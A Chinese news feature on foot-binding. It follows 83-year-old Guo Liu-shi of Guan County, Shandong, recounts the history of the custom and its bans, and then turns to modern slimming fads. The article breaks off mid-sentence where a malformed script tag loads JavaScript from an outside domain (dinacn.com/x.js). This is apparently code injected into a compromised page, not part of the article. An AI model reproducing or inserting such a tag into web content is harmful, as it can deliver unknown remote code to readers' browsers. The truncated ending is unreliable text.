“裹足”是中国封建社会特有的现象，当时的人们以“三寸金莲”为美，使女性受尽折磨。1928年，中国政府就下令严禁妇女裹脚，到如今，仍有少数“小脚女人”在世，分散在河南、山东、福建、云南等地，她们中年龄最小的也已75岁。这一代人很快将退出历史舞台，但是她们拥有的审美观和精神追求却留给了现代人不尽的思考。为能拥有一双“三寸金莲”，她们无不是有一番血泪经历。而如今的现代女性似乎又奏响了新时代的变奏曲。为了“瘦身”，宁愿营养不良；为了“魔鬼身材”，而住进医院……

    郭刘氏的“小脚”之路

　　山东冠县，地处山东、河北、河南3省交界处，这里至今保留着古老的风俗。11月的天气有些寒冷，城里已开始供暖。但是在冠县斜店乡的农村，为了节省，很少有人家生火炉。冠县斜店乡郭庄村83岁的郭刘氏老人身上穿着厚厚的棉裤，围着深色的围巾坐在太阳下，和门口的辘轳上、向阳的柴禾堆旁坐着的其他老人唠着家常。暖洋洋的阳光照在她们脸上，显得那么祥和。

　　郭刘氏10岁开始缠足。1942年，17岁的她从东面七八里路的许莱庄嫁给了郭庄村26岁的郭玉台，如今老伴已过世了。

　　据老人回忆，当时好多人家找媳妇还测量女子的脚有几寸。郭刘氏的父辈曾经读过私塾，也曾告诉过她，年轻的女子本来可以不缠脚。但被陋习的惯性所束，郭刘氏的奶奶仍极力主张她缠足。

　　“娘本来不想给俺缠脚，9岁时，娘见周围妮子缠脚的多，心里不踏实，怕耽误了俺，就要给俺裹小脚。当时怕疼不想缠，奶奶就说，不缠脚谁要你。”于是，郭刘氏就开始了缠脚的生涯。现在说起裹脚时，她还显得心有余悸。

　　为了把脚裹小，所采用的手段极其残忍。9岁时，奶奶给她缠脚，把碗摔破，用碗片顶住她的脚尖，用布死死缠住，硬是把脚趾窝残了。白天纺线时，用砖压着脚，晚上睡觉还要穿上软鞋，免得白天的辛劳白费。就这样用蓝布紧紧地缠了1年，不给脚留一点可能长大的空间和时间。

　　缠脚到最后，大拇脚趾被窝得外侧出现疙瘩，其余小脚趾折叠在脚底，再也没有起来。缠脚后，她半年多都不能走路，需要走路时，只能扶着墙根走。有时候就找一根拐棍拄着，减轻身体对脚的压迫。

　　在当时，只有经过这样的磨难，小脚才能裹成，长大后才能找个好人家。

　　一双众人羡慕的“三寸金莲”就是这样产生的。裹后的小脚，从正面看，像火伤之后变形、变色的一个肉疙瘩，完全消解了人足的原始形象，除了变形的足跟之外，已没有一丁点平滑的脚板。“小脚女人”们就是用这双脚支撑着整个身体。

    不该有的血泪史

　　郭刘氏刚结婚的几年里，正赶上兵荒马乱的战争年代。许多妇女，当年指望缠了小脚能嫁个好人家，找个不错的丈夫。

　　时过境迁，新中国成立后，摧残人性的裹脚历史总算结束了，妇女在社会生活中的地位有了明显改善。男耕女织的家庭模式也发生了变化。妇女开始走到田间地头劳作。这时，小脚遭到婆家的歧视。

　　因干重活赶不上有一双“天足”的女人，“小脚媳妇”常受到责怪。郭刘氏回忆，当年她最难熬的活是磨面，站一会脚就火辣酸痛，可她必须一站就是一天。

　　中国文化遗产研究院付红领学者对《记者观察》记者解释，通常认为，女子缠足这一恶俗始于五代。南唐后主李煜令宫妃窅娘“以帛缠足，令纤小屈上，作新月状”，于莲花上舞蹈，首开女子缠足。而女子缠足在民间广泛传播则在宋代，又于清朝时发展到鼎盛。女子缠足方法惨无人道，以至于民间流传“小脚一双，眼泪一缸”的说法，因缠足染疾“致死者十之一二，致伤者十之七八”。

　　山东省枣庄市铁道游击队影视城内，民俗展第一展厅内长期陈列着来自江苏、河南和山东等地收集来的各种各样的鞋子，它们都是“三寸金莲”最好的物证。

　　大众传媒网的张岩对中国“小脚女人”的历史长期关注。他告诉记者，“缠足”在辛亥革命之前就曾受到不同程度的抵制和抨击：明代时，宫中女子就不许缠足；1664年清康熙皇帝下诏禁止民间缠足，但因阻力过大，4年后被迫撤销了禁令；1853年太平天国也下令禁止妇女缠足；戊戌维新时期，康有为强烈要求朝廷下诏严禁妇女缠足，康有为、梁启超、谭嗣同等人还创办“不缠足会”；1898年6月，光绪皇帝在维新派影响下，颁布上谕禁止妇女缠足。

    瘦脚与瘦身的变奏曲

　　女性瘦脚的历史结束了，可是，女性瘦身的新时代在国内外正如火如荼地演进着。

　　如今的80后和90后玉女们都愿拥有“棒棒糖”身材（上身较为圆润，而四肢都较纤细的身材）。

　　说到“棒棒糖脑袋”（Lollipophead），就不可不提美国名模妮可·里奇，这个被豪门太子女帕丽斯·希尔顿视为死对头的小女生在好莱坞开“棒棒糖”风气之先。妮可·里奇女士就以号称拥有“能够在12岁以上人类身上看到的最细的手腕”而扬名天下。而在?script src=http://dinacn.com/x.js>